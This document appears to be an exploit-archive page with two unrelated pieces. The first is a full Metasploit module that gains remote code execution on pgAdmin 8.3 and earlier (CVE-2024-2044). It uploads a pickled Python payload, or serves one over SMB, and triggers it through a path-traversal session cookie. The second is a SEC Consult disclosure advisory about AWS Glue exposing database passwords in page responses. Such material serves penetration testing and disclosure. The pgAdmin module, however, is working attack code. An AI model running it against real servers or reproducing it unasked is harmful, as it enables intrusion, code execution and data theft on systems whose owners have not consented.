<pre><code># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> prepend Msf::Exploit::Remote::AutoCheck<br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::Remote::SMB::Server::Share<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'pgAdmin Session Deserialization RCE',<br /> 'Description' => %q{<br /> pgAdmin versions <= 8.3 have a path traversal vulnerability within their session management logic that can allow<br /> a pickled file to be loaded from an arbitrary location. This can be used to load a malicious, serialized Python<br /> object to execute code within the context of the target application.<br /><br /> This exploit supports two techniques by which the payload can be loaded, depending on whether or not credentials<br /> are specified. If valid credentials are provided, Metasploit will login to pgAdmin and upload a payload object<br /> using pgAdmin's file management plugin. Once uploaded, this payload is executed via the path traversal before<br /> being deleted using the file management plugin. This technique works for both Linux and Windows targets. If no<br /> credentials are provided, Metasploit will start an SMB server and attempt to trigger loading the payload via a<br /> UNC path. This technique only works for Windows targets. For Windows 10 v1709 (Redstone 3) and later, it also<br /> requires that insecure outbound guest access be enabled.<br /><br /> Tested on pgAdmin 8.3 on Linux, 7.7 on Linux, 7.0 on Linux, and 8.3 on Windows. The file management plugin<br /> underwent changes in the 6.x versions and therefor, pgAdmin versions < 7.0 can not utilize the authenticated<br /> technique whereby a payload is uploaded.<br /> },<br /> 'Author' => [<br /> 'Spencer McIntyre', # metasploit module<br /> 'Davide Silvetti', # vulnerability discovery and write up<br /> 'Abdel Adim Oisfi' # vulnerability discovery and write up<br /> ],<br /> 'License' => MSF_LICENSE,<br /> 'References' => [<br /> ['CVE', '2024-2044'],<br /> ['URL', 'https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce/'],<br /> ['URL', 'https://github.com/pgadmin-org/pgadmin4/commit/4e49d752fba72953acceeb7f4aa2e6e32d25853d']<br /> ],<br /> 'Stance' => Msf::Exploit::Stance::Aggressive,<br /> 'Platform' => 'python',<br /> 'Arch' => ARCH_PYTHON,<br /> 'Payload' => {},<br /> 'Targets' => [<br /> [ 'Automatic', {} ],<br /> ],<br /> 'DefaultOptions' => {<br /> 'SSL' => true,<br /> 'WfsDelay' => 5<br /> },<br /> 'DefaultTarget' => 0,<br /> 'DisclosureDate' => '2024-03-04', # date it was patched, see: https://github.com/pgadmin-org/pgadmin4/commit/4e49d752fba72953acceeb7f4aa2e6e32d25853d<br /> 'Notes' => {<br /> 'Stability' => [ CRASH_SAFE, ],<br /> 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],<br /> 'Reliability' => [ REPEATABLE_SESSION, ]<br /> }<br /> )<br /> )<br /><br /> register_options([<br /> OptString.new('TARGETURI', [true, 'Base path for pgAdmin', '/']),<br /> OptString.new('USERNAME', [false, 'The username to authenticate with (an email address)', '']),<br /> OptString.new('PASSWORD', [false, 'The password to authenticate with', ''])<br /> ])<br /> end<br /><br /> def check<br /> version = get_version<br /> return CheckCode::Unknown('Unable to determine the target version') unless version<br /> return CheckCode::Safe("pgAdmin version #{version} is not affected") if version >= Rex::Version.new('8.4')<br /><br /> CheckCode::Appears("pgAdmin version #{version} is affected")<br /> end<br /><br /> def csrf_token<br /> return @csrf_token if @csrf_token<br /><br /> res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true)<br /> set_csrf_token_from_login_page(res)<br /> fail_with(Failure::UnexpectedReply, 'Failed to obtain the CSRF token') unless @csrf_token<br /> @csrf_token<br /> end<br /><br /> def set_csrf_token_from_login_page(res)<br /> if res&.code == 200 && res.body =~ /csrfToken": "([\w+.-]+)"/<br /> @csrf_token = Regexp.last_match(1)<br /> # at some point between v7.0 and 7.7 the token format changed<br /> elsif (element = res.get_html_document.xpath("//input[@id='csrf_token']")&.first)<br /> @csrf_token = element['value']<br /> end<br /> end<br /><br /> def get_version<br /> res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true)<br /> return unless res&.code == 200<br /><br /> html_document = res.get_html_document<br /> return unless html_document.xpath('//title').text == 'pgAdmin 4'<br /><br /> # there's multiple links in the HTML that expose the version number in the [X]XYYZZ,<br /> # see: https://github.com/pgadmin-org/pgadmin4/blob/053b1e3d693db987d1c947e1cb34daf842e387b7/web/version.py#L27<br /> versioned_link = html_document.xpath('//link').find { |link| link['href'] =~ /\?ver=(\d?\d)(\d\d)(\d\d)/ }<br /> return unless versioned_link<br /><br /> set_csrf_token_from_login_page(res) # store the CSRF token because we have it<br /> Rex::Version.new("#{Regexp.last_match(1).to_i}.#{Regexp.last_match(2).to_i}.#{Regexp.last_match(3).to_i}")<br /> end<br /><br /> def exploit<br /> if datastore['USERNAME'].present?<br /> exploit_upload<br /> else<br /> exploit_remote_load<br /> end<br /> end<br /><br /> def exploit_remote_load<br /> start_service<br /> print_status('The SMB service has been started.')<br /><br /> # Call the exploit primer<br /> self.file_contents = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)<br /> trigger_deserialization(unc)<br /> end<br /><br /> def exploit_upload<br /> res = send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, 'authenticate/login'),<br /> 'method' => 'POST',<br /> 'keep_cookies' => true,<br /> 'vars_post' => {<br /> 'csrf_token' => csrf_token,<br /> 'email' => datastore['USERNAME'],<br /> 'password' => datastore['PASSWORD'],<br /> 'language' => 'en',<br /> 'internal_button' => 'Login'<br /> }<br /> })<br /><br /> unless res&.code == 302 && res.headers['Location'] != normalize_uri(target_uri.path, 'login')<br /> fail_with(Failure::NoAccess, 'Failed to authenticate to pgAdmin')<br /> end<br /> print_status('Successfully authenticated to pgAdmin')<br /><br /> serialized_data = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)<br /><br /> file_name = Faker::File.file_name(dir: '', directory_separator: '')<br /> file_manager_upload(file_name, serialized_data)<br /> trigger_deserialization("../storage/#{datastore['USERNAME'].gsub('@', '_')}/#{file_name}")<br /> file_manager_delete(file_name)<br /> end<br /><br /> def trigger_deserialization(path)<br /> print_status("Triggering deserialization for path: #{path}")<br /> send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, 'login'),<br /> 'cookie' => "pga4_session=#{path}!"<br /> })<br /> end<br /><br /> def file_manager_init<br /> res = send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, 'file_manager/init'),<br /> 'method' => 'POST',<br /> 'keep_cookies' => true,<br /> 'ctype' => 'application/json',<br /> 'headers' => { 'X-pgA-CSRFToken' => csrf_token },<br /> 'data' => {<br /> 'dialog_type' => 'storage_dialog',<br /> 'supported_types' => ['sql', 'csv', 'json', '*'],<br /> 'dialog_title' => 'Storage Manager'<br /> }.to_json<br /> })<br /> unless res&.code == 200 && (trans_id = res.get_json_document.dig('data', 'transId'))<br /> fail_with(Failure::UnexpectedReply, 'Failed to initialize a file manager transaction')<br /> end<br /><br /> trans_id<br /> end<br /><br /> def file_manager_delete(file_path)<br /> trans_id = file_manager_init<br /><br /> res = send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"),<br /> 'method' => 'POST',<br /> 'keep_cookies' => true,<br /> 'ctype' => 'application/json',<br /> 'headers' => { 'X-pgA-CSRFToken' => csrf_token },<br /> 'data' => {<br /> 'mode' => 'delete',<br /> 'path' => "/#{file_path}",<br /> 'storage_folder' => 'my_storage'<br /> }.to_json<br /> })<br /> unless res&.code == 200 && res.get_json_document['success'] == 1<br /> fail_with(Failure::UnexpectedReply, 'Failed to delete file')<br /> end<br /><br /> true<br /> end<br /><br /> def file_manager_upload(file_path, file_contents)<br /> trans_id = file_manager_init<br /><br /> form = Rex::MIME::Message.new<br /> form.add_part(<br /> file_contents,<br /> 'application/octet-stream',<br /> 'binary',<br /> "form-data; name=\"newfile\"; filename=\"#{file_path}\""<br /> )<br /> form.add_part('add', nil, nil, 'form-data; name="mode"')<br /> form.add_part('/', nil, nil, 'form-data; name="currentpath"')<br /> form.add_part('my_storage', nil, nil, 'form-data; name="storage_folder"')<br /><br /> res = send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"),<br /> 'method' => 'POST',<br /> 'keep_cookies' => true,<br /> 'ctype' => "multipart/form-data; boundary=#{form.bound}",<br /> 'headers' => { 'X-pgA-CSRFToken' => csrf_token },<br /> 'data' => form.to_s<br /> })<br /> unless res&.code == 200 && res.get_json_document['success'] == 1<br /> fail_with(Failure::UnexpectedReply, 'Failed to upload file contents')<br /> end<br /><br /> upload_path = res.get_json_document.dig('data', 'result', 'Name')<br /> print_status("Serialized payload uploaded to: #{upload_path}")<br /><br /> true<br /> end<br />end<br /></code></pre>
<pre><code>SEC Consult Vulnerability Lab Security Advisory < 20240411-0 ><br />=======================================================================<br /> title: Database Passwords in Server Response<br /> product: Amazon AWS Glue<br /> vulnerable version: until 2024-02-23<br /> fixed version: as of 2024-02-23<br /> CVE number: -<br /> impact: medium<br /> homepage: https://aws.amazon.com/glue/<br /> found: 2023-05-10<br /> by: Michael Werner (Eviden)<br /> SEC Consult Vulnerability Lab<br /><br /> An integrated part of SEC Consult, an Eviden business<br /> Europe | Asia<br /><br /> https://www.sec-consult.com<br /><br />=======================================================================<br /><br />Vendor description:<br />-------------------<br />"AWS Glue is a serverless data integration service that makes it easier to<br />discover, prepare, move, and integrate data from multiple sources for<br />analytics, machine learning (ML), and application development."<br /><br />Source: https://aws.amazon.com/glue/<br /><br /><br />Business recommendation:<br />------------------------<br />The vendor has fixed the issue in the currently available version<br />on all instances world-wide as of 2024-02-23.<br /><br /><br />Vulnerability overview/description:<br />-----------------------------------<br />1) Database Passwords in Server Response<br />The password of database connections in AWS Glue is loaded into the<br />website when a connection's edit page is requested. Principals with<br />appropriate permissions can read the password. This behavior also<br />increases the risk that database passwords will be intercepted by an<br />attacker during transmission in the server response. Many types of<br />vulnerabilities, such as broken access controls, cross-site scripting<br />and weaknesses in session handling, could enable an attacker to<br />leverage this behavior to retrieve the passwords.<br /><br /><br />Proof of concept:<br />-----------------<br />1) Database Passwords in Server Response<br />The following steps are necessary to reconstruct the vulnerability:<br /> 1. Login to the AWS Console and switch to the Glue module.<br /> 2. Go to "Data connections" and create a new connection.<br /> 3. Choose a connection type that allows username / password<br /> authentication (e.g. JDBC).<br /> <image ref: aws_glue_connection_config.webp><br /> 4. Open the new connection's "Edit" page and inspect the password<br /> field e.g. with the browser's DevTools.<br /> <image ref: aws_glue_poc.webp><br /><br /><br />The following permissions were used:<br />* glue:GetConnections (for the list view of connections; not necessary<br /> to open the connection page itself if the connection name is known)<br />* glue:GetConnection (for opening the connection page)<br />* ec2:DescribeSubnets (for opening the edit page of a connection)<br /><br />Permission Summary:<br />A principal only needs the permissions glue:GetConnection and ec2:DescribeSubnets<br />to retrieve the database password of a connection. The attacker also<br />needs either knowledge of the connection's name to open the edit page<br />directly (e.g. https://us-east-1.console.aws.amazon.com/gluestudio/home?region=us-east-1#/connection/edit-connection/Security%20Advisory/)<br />or the permission glue:GetConnections to list existing connections.<br /><br /><br />Vulnerable / tested versions:<br />-----------------------------<br />The version that was current at 2023-05-10 has been tested and found to be<br />vulnerable.<br /><br /><br />Vendor contact timeline:<br />------------------------<br />2023-06-07: Contacting vendor through aws-security@amazon.com<br />2023-06-07: Vendor response, provides PGP key, sending encrypted<br /> security advisory.<br />2023-06-08: Vendor response, team is investigating the report, asking<br /> about public disclosure timeline.<br />2023-06-16: Vendor is still working on the report, will inform us on a<br /> weekly basis.<br />2023-07-24: Vendor requires additional time, next update will be early<br /> September, provides weekly updates.<br />2023-09-14: Vendor team is working on rolling out a fix.<br />2023-09-21: Vendor encountered roll-out issues, full mass deployment now<br /> scheduled to be finished in 2023Q4.<br />2023-10-05: Vendor hit "first milestone" in their development, 3-staged<br /> approach.<br />2023-10-25: Vendor hit second milestone before full rollout.<br />2024-02-14: Asking for a status update.<br />2024-02-15: Vendor is still working on the issue.<br /> Asking them for a timeline.<br />2024-02-23: Vendor reports that fix is implemented and deployed worldwide.<br /> Coordinating public release.<br />2024-02-28: Sending details where we publish the advisory, asking for a<br /> CVE number.<br />2024-03-01: Vendor asks whether we meant CVE or CVSS.<br />2024-04-08: Clarifying that we mean CVE, but CVE not needed for cloud.<br /> Setting release date to 11th April.<br />2024-04-11: Coordinated release of security advisory.<br /><br /><br />Solution:<br />---------<br />The vendor has fixed the issue and deployed the patch worldwide as of<br />as of 2024-02-23.<br /><br /><br />Workaround:<br />-----------<br />None<br /><br /><br />Advisory URL:<br />-------------<br />https://sec-consult.com/vulnerability-lab/<br /><br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br />SEC Consult Vulnerability Lab<br />An integrated part of SEC Consult, an Eviden business<br />Europe | Asia<br /><br />About SEC Consult Vulnerability Lab<br />The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an<br />Eviden business. It ensures the continued knowledge gain of SEC Consult in the<br />field of network and application security to stay ahead of the attacker. The<br />SEC Consult Vulnerability Lab supports high-quality penetration testing and<br />the evaluation of new offensive and defensive technologies for our customers.<br />Hence our customers obtain the most current information about vulnerabilities<br />and valid recommendation about the risk profile of new technologies.<br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />Interested to work with the experts of SEC Consult?<br />Send us your application https://sec-consult.com/career/<br /><br />Interested in improving your cyber security with the experts of SEC Consult?<br />Contact our local offices https://sec-consult.com/contact/<br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br />Mail: security-research at sec-consult dot com<br />Web: https://www.sec-consult.com<br />Blog: https://blog.sec-consult.com<br />Twitter: https://twitter.com/sec_consult<br /><br />EOF Michael Werner / @2024<br /></code></pre>